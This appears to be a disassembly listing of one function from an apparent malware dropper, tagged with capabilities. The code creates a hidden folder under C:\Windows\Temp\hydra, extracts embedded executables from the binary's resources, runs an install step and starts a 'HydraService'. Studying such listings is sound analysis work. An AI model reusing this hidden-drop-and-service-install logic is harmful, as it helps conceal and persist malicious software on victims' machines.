Function at 0x140182e80
Capabilities:
Create directory
Extract resource via kernel32 functions
Set file attributes

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x238
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1a0], xmm6
mov qword [rbp + 0x198], 0xfffffffffffffffe
lea rcx, str.C:WindowsTemphydra
mov qword [rbp - 0x18], rcx
xor edx, edx
call qword [sym.imp.kernel32.dll_CreateDirectoryW]
test eax, eax
je 0x140182f2f
lea rcx, str.C:WindowsTemphydra
mov edx, 2
call qword [sym.imp.kernel32.dll_SetFileAttributesW]
test eax, eax
je 0x140182f3a
lea rax, [rbp - 0x18]
mov qword [rbp + 0xe0], rax
lea rax, [0x140182e40]
mov qword [rbp + 0xe8], rax
lea rax, str.Created
mov qword [rbp - 8], rax
mov qword [rbp], 2
mov qword [rbp + 0x18], 0
lea rax, [rbp + 0xe0]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], 1
lea rcx, [rbp - 8]
call fcn.140198070
jmp 0x140182fd2
call fcn.14018b310
test edx, edx
jne 0x140182f43
jmp 0x140182ec4
call fcn.14018b310
test edx, edx
je 0x140182eda
mov qword [rbp + 0x130], rax
mov dword [rbp + 0x138], edx
lea rax, [rbp - 0x18]
mov qword [rbp + 0xe0], rax
lea rax, [0x140182e40]
mov qword [rbp + 0xe8], rax
lea rax, [rbp + 0x130]
mov qword [rbp + 0xf0], rax
lea rax, [0x14018b4c0]
mov qword [rbp + 0xf8], rax
lea rax, str.Failed_to_create_:
mov qword [rbp - 8], rax
mov qword [rbp], 3
mov qword [rbp + 0x18], 0
lea rax, [rbp + 0xe0]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], 2
lea rcx, [rbp - 8]
call fcn.140198070
cmp qword [rbp + 0x130], 0
je 0x140182fd2
lea rcx, [rbp + 0x130]
call fcn.14018a9e0
movzx eax, byte [0x1402f3cf1]
mov ecx, 0x78
mov edx, 8
call fcn.140005660
mov qword [rbp + 0x180], rax
test rax, rax
je 0x1401839dd
mov qword [rsp + 0x20], 9
lea rdx, str.C:WindowsTemphydrahydra.exehead.exehydraservice.exe
lea r9, [0x140282305]
lea rcx, [rbp - 8]
mov r8d, 0x15
call fcn.14019c140
mov rax, qword [rbp - 8]
mov qword [rbp + 0x188], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movups xmm0, xmmword [rbp + 8]
movaps xmmword [rbp + 0xc0], xmm0
mov qword [rsp + 0x20], 8
lea rdx, str.C:WindowsTemphydrahydra.exehead.exehydraservice.exe
lea r9, [0x14028230e]
lea rcx, [rbp - 8]
mov r8d, 0x15
call fcn.14019c140
mov rax, qword [rbp - 8]
mov qword [rbp + 0x178], rax
mov rax, qword [rbp]
mov qword [rbp - 0x10], rax
movups xmm0, xmmword [rbp + 8]
movaps xmmword [rbp + 0x130], xmm0
mov qword [rsp + 0x20], 0x10
lea rdx, str.C:WindowsTemphydrahydra.exehead.exehydraservice.exe
lea r9, [0x140282316]
lea rsi, [rbp + 0xe0]
mov r8d, 0x15
mov rcx, rsi
call fcn.14019c140
movups xmm0, xmmword [rbp + 0xe0]
movups xmm1, xmmword [rbp + 0xf0]
movups xmmword [rbp + 0xc], xmm1
movups xmmword [rbp - 4], xmm0
mov rcx, qword [rbp + 0x180]
mov dword [rcx], 1
mov rax, qword [rbp + 0x188]
mov qword [rcx + 8], rax
mov rax, qword [rbp + 0x170]
mov qword [rcx + 0x10], rax
movaps xmm0, xmmword [rbp + 0xc0]
movups xmmword [rcx + 0x18], xmm0
mov dword [rcx + 0x28], 2
mov rax, qword [rbp + 0x178]
mov qword [rcx + 0x30], rax
mov rax, qword [rbp - 0x10]
mov qword [rcx + 0x38], rax
movaps xmm0, xmmword [rbp + 0x130]
movups xmmword [rcx + 0x40], xmm0
mov dword [rcx + 0x50], 3
mov eax, dword [rbp + 0x18]
mov dword [rcx + 0x74], eax
movups xmm0, xmmword [rbp - 8]
movups xmm1, xmmword [rbp + 8]
movups xmmword [rcx + 0x64], xmm1
movups xmmword [rcx + 0x54], xmm0
mov qword [rbp - 0x50], 3
mov qword [rbp - 0x48], rcx
mov qword [rbp - 0x40], 3
xor edi, edi
lea rbx, [rbp - 8]
xorps xmm6, xmm6
jmp 0x1401831f2
lea rax, str.Resource_could_not_be_loaded_n
mov qword [rbp - 8], rax
mov qword [rbp], 1
mov qword [rbp + 8], 8
movups xmmword [rbp + 0x10], xmm6
mov rcx, rbx
call fcn.140198070
lea rax, [rbp + 0x130]
mov qword [rbp + 0xe0], rax
lea rax, [0x140187bd0]
mov qword [rbp + 0xe8], rax
lea rax, str.Unable_to_find_resource:
mov qword [rbp - 8], rax
mov qword [rbp], 2
mov qword [rbp + 0x18], 0
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], 1
movabs rax, 0x8000000000000000
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0x188]
mov qword [rbp - 0x28], rax
mov byte [rbp + 0x197], 1
mov rcx, rbx
call fcn.140198070
mov r13, rdi
cmp rdi, 0x78
je 0x1401835a1
mov rcx, qword [rbp + 0x180]
lea rax, [rcx + r13]
mov qword [rbp + 0x130], rax
mov r15d, dword [rcx + r13]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
mov r14, rax
test rax, rax
jne 0x140183235
call fcn.14018b310
mov r14, rax
test edx, edx
jne 0x140183975
mov r8d, 0xa
mov rcx, r14
mov rdx, r15
call qword [sym.imp.kernel32.dll_FindResourceW]
mov r15, rax
lea rdi, [r13 + 0x28]
inc rax
cmp rax, 2
jae 0x1401832c0
call qword [sym.imp.kernel32.dll_GetLastError]
mov dword [rbp + 0xc0], eax
lea rax, [rbp + 0xc0]
mov qword [rbp + 0xe0], rax
lea rax, [0x14018a960]
mov qword [rbp + 0xe8], rax
lea rax, str.Resource_not_found:__n
mov qword [rbp - 8], rax
mov qword [rbp], 2
mov qword [rbp + 0x18], 0
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], 1
mov rcx, rbx
call fcn.140198070
jmp 0x140183187
mov rcx, r14
mov rdx, r15
call qword [sym.imp.kernel32.dll_LoadResource]
mov rcx, rax
inc rax
cmp rax, 1
ja 0x1401832f7
call fcn.14018b310
test edx, edx
jne 0x1401839a9
mov rcx, rax
inc rcx
cmp rcx, 2
jb 0x140183160
jmp 0x140183307
mov rax, rcx
inc rcx
cmp rcx, 2
jb 0x140183160
mov rcx, rax
call qword [sym.imp.kernel32.dll_LockResource]
mov r12, rax
test rax, rax
jne 0x140183344
lea rax, str.Resource_could_not_be_locked_n
mov qword [rbp - 8], rax
mov qword [rbp], 1
mov qword [rbp + 8], 8
movups xmmword [rbp + 0x10], xmm6
mov rcx, rbx
call fcn.140198070
jmp 0x140183187
mov rcx, r14
mov rdx, r15
call qword [sym.imp.kernel32.dll_SizeofResource]
mov r14d, eax
mov dword [rbp + 0x170], eax
test eax, eax
je 0x14018337f
movzx eax, byte [0x1402f3cf1]
mov edx, 1
mov rcx, r14
call fcn.140005660
test rax, rax
je 0x140183ae3
mov rcx, rax
jmp 0x140183384
mov ecx, 1
mov qword [rbp + 0x188], rcx
mov rdx, r12
mov qword [rbp + 0x178], r14
mov r8, r14
call fcn.1401cdb20
lea rax, str.Resource_located_n
mov qword [rbp - 8], rax
mov qword [rbp], 1
mov qword [rbp + 8], 8
movups xmmword [rbp + 0x10], xmm6
mov rcx, rbx
call fcn.140198070
mov rax, qword [rbp + 0x180]
lea r14, [rax + r13]
add r14, 8
mov rcx, r14
call fcn.1401ab480
mov r8, rdx
mov rcx, rbx
mov rdx, rax
call fcn.1401a17a0
cmp dword [rbp - 8], 2
jne 0x140183407
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xe0], 2
jmp 0x14018344c
movups xmm0, xmmword [rbp - 8]
movups xmm1, xmmword [rbp + 8]
movups xmm2, xmmword [rbp + 0x18]
movups xmm3, xmmword [rbp + 0x28]
movaps xmmword [rbp + 0xe0], xmm0
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x120], rax
movaps xmmword [rbp + 0x110], xmm3
movaps xmmword [rbp + 0x100], xmm2
movaps xmmword [rbp + 0xf0], xmm1
cmp qword [rbp + 0xe0], 2
jne 0x140183576
lea rcx, [rbp + 0xe8]
call fcn.140028c70
mov dword [rbp - 8], 0
lea rax, [rbp]
movups xmmword [rax], xmm6
mov dword [rbp + 0x10], 7
mov word [rax + 0x1c], 0
mov qword [rax + 0x14], 0
mov byte [rbp + 0x19], 1
mov word [rbp + 0x1b], 0x101
mov rcx, r14
call fcn.1401ab480
mov r8, rdx
mov rcx, rbx
mov rdx, rax
call fcn.140196bd0
test rax, rax
jne 0x140183ab5
mov qword [rbp + 0xe0], rdx
cmp dword [rbp + 0x170], 0
je 0x140183569
mov r14, qword [rbp + 0x188]
mov r15, qword [rbp + 0x178]
jmp 0x1401834eb
cmp byte [rdx + 0xf], 0x23
jne 0x140183a87
mov rcx, rdx
call fcn.1400043c0
test r15, r15
je 0x140183569
mov rcx, rsi
mov rdx, r14
mov r8, r15
call fcn.140196bb0
test rax, rax
je 0x140183520
mov eax, edx
and eax, 3
lea rcx, [0x1402824b8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rdx + 0x10], 0x23
je 0x1401834da
jmp 0x140183a87
test rdx, rdx
je 0x140183a80
mov rax, r15
sub rax, rdx
jb 0x140183a6c
add r14, rdx
mov r15, rax
test r15, r15
jne 0x1401834eb
jmp 0x140183569
test rdx, rdx
jne 0x140183a87
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp dword [rbp + 0x170], 0
mov rdx, qword [rbp + 0x178]
je 0x1401831f2
mov r8d, 1
mov rcx, qword [rbp + 0x188]
call fcn.140005670
jmp 0x1401831f2
mov rdi, qword [rbp - 0x40]
cmp rdi, 2
jbe 0x14018395c
mov rsi, qword [rbp - 0x48]
lea rbx, [rsi + 0x58]
mov rcx, rbx
call fcn.1401ab480
mov r8, rdx
lea rcx, [rbp - 8]
mov rdx, rax
call fcn.1401a3fa0
lea rdx, str.__installCould_not_spawn
lea rcx, [rbp - 8]
mov r8d, 9
call fcn.1401a40c0
lea rcx, [rbp + 0xe0]
lea rdx, [rbp - 8]
call fcn.14019c240
mov qword [rbp - 0x38], rbx
lea r15, case.0x14019ad62.51
mov qword [rbp - 0x30], r15
lea r12, str.I__
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x138], 1
mov qword [rbp + 0x150], 0
lea r13, [rbp - 0x38]
mov qword [rbp + 0x140], r13
mov qword [rbp + 0x148], 1
lea rcx, [rbp + 0xc0]
lea rdx, [rbp + 0x130]
call fcn.1401b4b80
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0x180], rax
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0x188], rax
cmp dword [rbp + 0xe0], 2
je 0x1401839ec
movups xmm0, xmmword [rbp + 0xe0]
movups xmm1, xmmword [rbp + 0xf0]
movups xmm2, xmmword [rbp + 0x100]
movups xmm3, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0x160], xmm3
movaps xmmword [rbp + 0x150], xmm2
movaps xmmword [rbp + 0x140], xmm1
movaps xmmword [rbp + 0x130], xmm0
lea rbx, [rbp + 0xe0]
lea rdx, [rbp + 0x130]
mov rcx, rbx
call fcn.14019c2d0
cmp dword [rbp + 0xe0], 0
je 0x1401836dc
lea rcx, [rbp + 0xe8]
call fcn.140028c70
lea r14, [rbp + 0x130]
mov rcx, r14
call fcn.1401829f0
mov rdx, qword [rbp + 0x180]
test rdx, rdx
je 0x140183709
mov r8d, 1
mov rcx, qword [rbp + 0x188]
call fcn.140005670
lea rcx, [rbp - 8]
call fcn.140182b30
lea rcx, [0x140282388]
call fcn.140188b70
test edx, edx
je 0x14018378c
mov qword [rbp + 0x130], rax
mov dword [rbp + 0x138], edx
mov qword [rbp + 0xe0], r14
lea rax, [0x14018b4c0]
mov qword [rbp + 0xe8], rax
lea rax, str.Failed_to_start_HydraService:
mov qword [rbp - 8], rax
mov qword [rbp], 2
mov qword [rbp + 0x18], 0
mov qword [rbp + 8], rbx
mov qword [rbp + 0x10], 1
lea rcx, [rbp - 8]
call fcn.140198070
cmp qword [rbp + 0x130], 0
je 0x1401837b7
lea rcx, [rbp + 0x130]
call fcn.14018a9e0
jmp 0x1401837b7
lea rax, str.Started_HydraService_n
mov qword [rbp - 8], rax
mov qword [rbp], 1
mov qword [rbp + 8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
lea rcx, [rbp - 8]
call fcn.140198070
mov ecx, 5
xor edx, edx
call fcn.140195bb0
lea rbx, [rsi + 8]
mov rcx, rbx
call fcn.1401ab480
mov r8, rdx
lea rcx, [rbp - 8]
mov rdx, rax
call fcn.1401a3fa0
lea rcx, [rbp + 0xe0]
lea rdx, [rbp - 8]
call fcn.14019c240
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x30], r15
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x138], 1
mov qword [rbp + 0x150], 0
mov qword [rbp + 0x140], r13
mov qword [rbp + 0x148], 1
lea rcx, [rbp + 0xc0]
lea rdx, [rbp + 0x130]
call fcn.1401b4b80
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0x180], rax
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0x188], rax
cmp dword [rbp + 0xe0], 2
je 0x140183a2c
movups xmm0, xmmword [rbp + 0xe0]
movups xmm1, xmmword [rbp + 0xf0]
movups xmm2, xmmword [rbp + 0x100]
movups xmm3, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0x160], xmm3
movaps xmmword [rbp + 0x150], xmm2
movaps xmmword [rbp + 0x140], xmm1
movaps xmmword [rbp + 0x130], xmm0
lea rcx, [rbp + 0xe0]
lea rdx, [rbp + 0x130]
call fcn.14019c2d0
cmp dword [rbp + 0xe0], 0
je 0x1401838c1
lea rcx, [rbp + 0xe8]
call fcn.140028c70
lea rcx, [rbp + 0x130]
call fcn.1401829f0
mov rdx, qword [rbp + 0x180]
test rdx, rdx
je 0x1401838eb
mov r8d, 1
mov rcx, qword [rbp + 0x188]
call fcn.140005670
lea rcx, [rbp - 8]
call fcn.140182b30
lea rbx, [rsi + 0x10]
jmp 0x140183909
add rbx, 0x28
dec rdi
je 0x140183922
mov rdx, qword [rbx - 8]
test rdx, rdx
je 0x140183900
mov rcx, qword [rbx]
mov r8d, 1
call fcn.140005670
jmp 0x140183900
mov rax, qword [rbp - 0x50]
test rax, rax
je 0x140183941
shl rax, 3
lea rdx, [rax + rax*4]
mov r8d, 8
mov rcx, rsi
call fcn.140005670
movaps xmm6, xmmword [rbp + 0x1a0]
add rsp, 0x238
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str.hydralib_srcpayload.rs
mov ecx, 2
mov rdx, rdi
call fcn.1401d9db0
jmp 0x140183af0
mov qword [rbp - 8], r14
mov dword [rbp], edx
lea rax, str.hydralib_srcpayload.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1402820f8]
lea r9, [0x140282128]
lea r8, [rbp - 8]
mov edx, 0x2b
call fcn.1401da010
jmp 0x140183af0
mov qword [rbp - 8], rax
mov dword [rbp], edx
lea rax, str.hydralib_srcpayload.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1402820f8]
lea r9, [0x140282128]
lea r8, [rbp - 8]
mov edx, 0x2b
call fcn.1401da010
jmp 0x140183af0
mov ecx, 8
mov edx, 0x78
call fcn.1401d9a20
mov rdx, qword [rbp + 0xd0]
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x130], rax
lea rax, str.hydralib_srcpayload.rs
mov qword [rsp + 0x20], rax
lea r9, fcn.140028c70
lea r8, [rbp + 0x130]
mov rcx, qword [rbp + 0x188]
call fcn.1401da010
jmp 0x140183af0
mov rdx, qword [rbp + 0xd0]
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x130], rax
lea rax, str.hydralib_srcpayload.rs
mov qword [rsp + 0x20], rax
lea r9, fcn.140028c70
lea r8, [rbp + 0x130]
mov rcx, qword [rbp + 0x188]
call fcn.1401da010
jmp 0x140183af0
lea r8, [0x140282550]
mov rcx, rdx
mov rdx, r15
call fcn.1401da0a0
jmp 0x140183af0
lea rdx, [0x1402824e8]
mov qword [rbp - 8], rdx
lea rax, str.hydralib_srcpayload.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1402820f8]
lea r9, fcn.140028c70
lea r8, [rbp - 8]
mov edx, 0x2b
call fcn.1401da010
jmp 0x140183af0
mov qword [rbp - 8], rdx
lea rax, str.hydralib_srcpayload.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1402820f8]
lea r9, fcn.140028c70
lea r8, [rbp - 8]
mov edx, 0x2b
call fcn.1401da010
jmp 0x140183af0
mov ecx, 1
mov rdx, r14
call fcn.1401d9a00
ud2